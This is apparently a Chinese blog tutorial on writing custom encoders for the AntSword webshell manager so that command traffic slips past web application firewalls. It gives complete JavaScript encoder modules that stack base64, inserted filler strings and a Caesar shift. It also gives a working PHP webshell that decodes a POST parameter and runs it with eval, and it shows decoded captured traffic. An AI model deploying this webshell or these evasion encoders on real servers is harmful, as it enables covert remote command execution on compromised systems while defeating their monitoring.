本文目录
为什么要自定义编码器
先来看一下自带编码器的流量
编码器选default,执行命令whoami抓包看流量(下图为url解码后的结果)
url解码一下
可以清晰的看到whoami(base64编码后的结果为d2hvYW1p)出现在流量里,所以是百分百被waf拦的
先来分析一下下面这个字符串
cbe5f611c94175=IpY2QgL2QgIkU6XFx0b29sXFx3ZWJcXGppYW56aGFuXFxwaHBzdHVkeV9wcm9cXFdXVyImd2hvYW1pJmVjaG8gM2Y3MWZlYmY0MCZjZCZlY2hvIGUxMzU3NDQ5YTE5Zg==
首先cbe5f611c94175是随机生成的字符串,然后在下面这段代码里提到了对上述字符串的解码过程
$s=base64_decode(substr($_POST["cbe5f611c94175"],2));
就是从 POST 请求中获取名为 "cbe5f611c94175" 的参数,去除前两个字符后,对剩余部分进行 Base64 解码,解码结果为
cd /d "E:\\tool\\web\\jianzhan\\phpstudy_pro\\WWW"&whoami&echo 3f71febf40&cd&echo e1357449a19f
看一下返回结果(黑色打码部分为麋鹿的电脑名)
很明显,命令完全暴露在流量里
如果是换其他编码器,流量特征里也很明显,例如会体现@str_rot13或chr()这些很敏感的函数,再或者是eval函数。所以这时需要我们自定义一个编码器
编码器基础
先来看一下编码器的格式
/**
* php::base64编码器
* Create at: 2023/12/29 16:51:54
*/
'use strict';/*
* @param {String} pwd 连接密码
* @param {Array} data 编码器处理前的 payload 数组
* @return {Array} data 编码器处理后的 payload 数组
*/
module.exports = (pwd, data, ext={}) => {
// ########## 请在下方编写你自己的代码 ###################
// 以下代码为 PHP Base64 样例
// 生成一个随机变量名
let randomID = `_0x${Math.random().toString(16).substr(2)}`;
// 原有的 payload 在 data['_']中
// 取出来之后,转为 base64 编码并放入 randomID key 下
data[randomID] = Buffer.from(data['_']).toString('base64');
// shell 在接收到 payload 后,先处理 pwd 参数下的内容,
data[pwd] = `eval(base64_decode($_POST[${randomID}]));`;
// ########## 请在上方编写你自己的代码 ###################
// 删除 _ 原有的payload
delete data['_'];
// 返回编码器处理后的 payload 数组
return data;
}
其实官方写的很清楚了,但麋鹿还是怕有读者看不懂,那我再解释一下该代码的功能
1.接收三个参数:pwd(连接密码),data(待处理的payload数组),和ext,
2.使用Math.random()生成一个随机数,并将其转换为16进制字符串,形成一个随机变量名randomID
3.将payloadbase64编码放在randomID里
4.生成对应解码的php代码,里面用eval执行解码后的payload
所以上面的数据包里会有milu(pwd密码对应的值)=eval字样,那么如何把eval特征去掉?
其实很简单,我们只需要把流量包base64编码一下或者加密一下进行了
先说一下官方编码器里的几个模式--ROT13,chr,chr16,base64。
1.rot13
原理是将原文替换为字母表中的该字母向前或向后移动13个位置的字母,其实就是凯撒加密,只不过因为字母表一共26个字母,所以对一个字符串两次rot13就是原文。
2.chr和chr16呢就更简单了,chr就是对应的ASCII值,chr16就是把ASCII变成了16进制。
比如milu对应的就是zvyh,[109, 105, 108, 117],['0x6d', '0x69', '0x6c', '0x75']。
所以准确来说,官方的编码器过于简单,对于公元前1世纪(凯撒活着那会)可能可以乱杀,但是对于2024年的waf多少有点简陋了。
而且流量包里带有eval这些危险函数,下图是rot13模式
那么麋鹿现在开始介绍现代通讯中常用的加密算法。
加密和解密使用相同的密钥,只要有密钥就能解密,速度快。常见算法有AES,DES,3DES。
分公钥私钥,公钥加密,私钥解密,公钥可以公开,私钥保密,速度慢。常见算法有RSA ECC DSA。
对于编码器,对称和非对称都一样,因为我们都要给对方机器发密钥,非对称反而麻烦,这里直接用AES就行,其中可以选AES128或AES256,二者差别在于密钥长度分别是16(128位)和32(256)以及前者加密10轮 后者14轮。
js里的CryptoJS库就提供AES加密算法,只需要提供明文和密钥就行,举个例子。
var CryptoJS = require("crypto-js");
var message = "milu";
var key = "milu1234";
var encrypted = CryptoJS.AES.encrypt(message, key).toString();
console.log(encrypted); // 输出加密后的字符串
不过这里我没有提供iv,下面麋鹿带各位读者从零开始写一个编码器
打造自己的编码器
思路为先base64,再在每8个字符后插入 "yuandankuaile"(元旦快乐),最后使用凯撒加密法对整个字符串将每个字符后移三位
module.exports = (pwd, data, ext = {}) => {
// 将原始 payload 转换为 base64 编码
data[pwd] = Buffer.from(data['_']).toString('base64'); // 在每8个字符后插入 "元旦快乐"
let modifiedString = "";
for (let i = 0; i < data[pwd].length; i++) {
modifiedString += data[pwd][i];
if ((i + 1) % 8 === 0) {
modifiedString += "yuandankuaile";
}
}
// 凯撒加密:每个字符后移三位
let caesarEncoded = modifiedString.split('').map(c =>
c.match(/[a-zA-Z]/) ?
String.fromCharCode((c.charCodeAt(0) - (c.charCodeAt(0) >= 97 ? 97 : 65) + 3) % 26 + (c.charCodeAt(0) >= 97 ? 97 : 65)) :
c
).join('');
// 最后对整个字符串进行 base64 编码
data[pwd] = Buffer.from(caesarEncoded).toString('base64');
// 删除原有的 payload
delete data['_'];
// 返回处理后的数据
return data;
};
对应的php代码
<?php
function decryptPayload($encodedData) {
// Base64 解码
$caesarEncoded = base64_decode($encodedData);
// 凯撒解密:每个字符前移三位
$caesarDecoded = '';
foreach (str_split($caesarEncoded) as $char) {
if (ctype_alpha($char)) {
$offset = ctype_lower($char) ? 97 : 65;
$caesarDecoded .= chr((ord($char) - $offset - 3 + 26) % 26 + $offset);
} else {
$caesarDecoded .= $char;
}
}
// 移除 "元旦快乐"
$base64Encoded = str_replace("yuandankuaile", "", $caesarDecoded);
// Base64 解码以还原原始数据
$originalData = base64_decode($base64Encoded);
return $originalData;
}
// 从 POST 请求中获取加密数据
$encryptedData = isset($_POST['milu']) ? $_POST['milu'] : '';
if (!empty($encryptedData)) {
$decryptedData = decryptPayload($encryptedData);
eval($decryptedData);
} else {
echo "没有接收到数据";
}
?>
保存编码器为easy,蚁剑里选编码器为easy,解码器为default(因为php里已经进行解密了),成功连接
再看一下执行命令的数据包
流量里没有了eval这些
看一看查杀情况
还是被杀,那改一下执行的方法,先看一下是否可以执行命令
ok,看看查杀情况
随便绕过,但是这是麋鹿自用的手法,所以就不公开了,不过后续麋鹿会在我的知识星球里更新我的一些免杀手法,敬请期待我的星球上线!
那我们是否可以在编码器的加密上再做点文章?
流量里虽然没有了eval,但还是会体现whoami这些指令
这也简单,只需要对data[]里的其他参数做一些变化就行了
对除 _ 之外的键值对进行 Base64 编码,并在每三个字符后插入两个随机字符
'use strict';module.exports = (pwd, data, ext = {}) => {
let ret = {};
// 生成随机的两位字符的函数
function generateRandomChars(length) {
let result = '';
let characters = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789';
let charactersLength = characters.length;
for (let i = 0; i < length; i++) {
result += characters.charAt(Math.floor(Math.random() * charactersLength));
}
return result;
}
// 遍历 data 对象,除了 '_' 键之外的每个键进行 Base64 编码
for (let key in data) {
if (key === '_') { continue; }
// 对 data[key] 的值进行 Base64 编码
let base64Encoded = Buffer.from(data[key]).toString('base64');
// 在每三个字符后插入随机的两位字符
let modifiedStringForKey = "";
for (let i = 0, len = base64Encoded.length; i < len; i += 3) {
modifiedStringForKey += base64Encoded.substring(i, i + 3);
if (i + 3 < len) { // 避免在字符串末尾添加
modifiedStringForKey += generateRandomChars(2);
}
}
// 保存修改后的字符串
ret[key] = modifiedStringForKey;
}
// 对 data['_'] 的值进行特殊处理
if (data['_']) {
// 首先将 data['_'] 转换为 Base64 编码
let base64Encoded = Buffer.from(data['_']).toString('base64');
// 在每8个字符后插入 "yuandankuaile"
let modifiedString = "";
for (let i = 0; i < base64Encoded.length; i++) {
modifiedString += base64Encoded[i];
if ((i + 1) % 8 === 0) {
modifiedString += "yuandankuaile";
}
}
// 对修改后的字符串进行凯撒加密,每个字符后移三位
let caesarEncoded = modifiedString.split('').map(c =>
c.match(/[a-zA-Z]/) ?
String.fromCharCode((c.charCodeAt(0) - (c.charCodeAt(0) >= 97 ? 97 : 65) + 3) % 26 + (c.charCodeAt(0) >= 97 ? 97 : 65)) :
c
).join('');
// 再次对整个字符串进行 Base64 编码
data[pwd] = Buffer.from(caesarEncoded).toString('base64');
}
// 删除原有的 payload
delete data['_'];
// 将 ret 对象中的内容合并到 data 中
Object.assign(data, ret);
// 返回处理后的数据
return data;
};
看一下流量包
把j3da9e0259be83的值摘出来
ZFJZMlFnTDJRZ0lrVTZMM1J2YjJ3dmQyVmlMMnBwWVc1NmFHRnVMM0JvY0hOMGRXUjVYM0J5Ynk5WFYxY2lKbmRvYjJGdGFTWmxZMmh2SURnM05UbGtPR1ltWTJRbVpXTm9ieUJsWVRBMk5qUmo=
先去掉每三个字符后的两个随机字符,然后再base64解码,得到下面这个字符串
dRY2QgL2QgIkU6L3Rvb2wvd2ViL2ppYW56aGFuL3BocHN0dWR5X3Byby9XV1ciJndob2FtaSZlY2hvIDg3NTlkOGYmY2QmZWNobyBlYTA2NjRj
是不是很眼熟?这不就是default里的流量吗?去掉前俩个字符然后base64解密
选择其他加密算法
github上有现成的
https://github.com/AntSwordProject/AwesomeEncoder/blob/master/php/encoder/aes_256_cfb_zero_padding.js
不过可能存在cookie的问题,其实这个问题也好解决,自定义一个字符串进行hash一下,得到一个SHA-256 哈希值(或128,对应不同模式)
const keySource = 'milu';
const hash = crypto.createHash('sha256');
hash.update(keySource);
const key = hash.digest('hex'); // 使用 'hex' 以获取十六进制字符串形式的哈希值
也有现成的
不过要求php开了openssl模块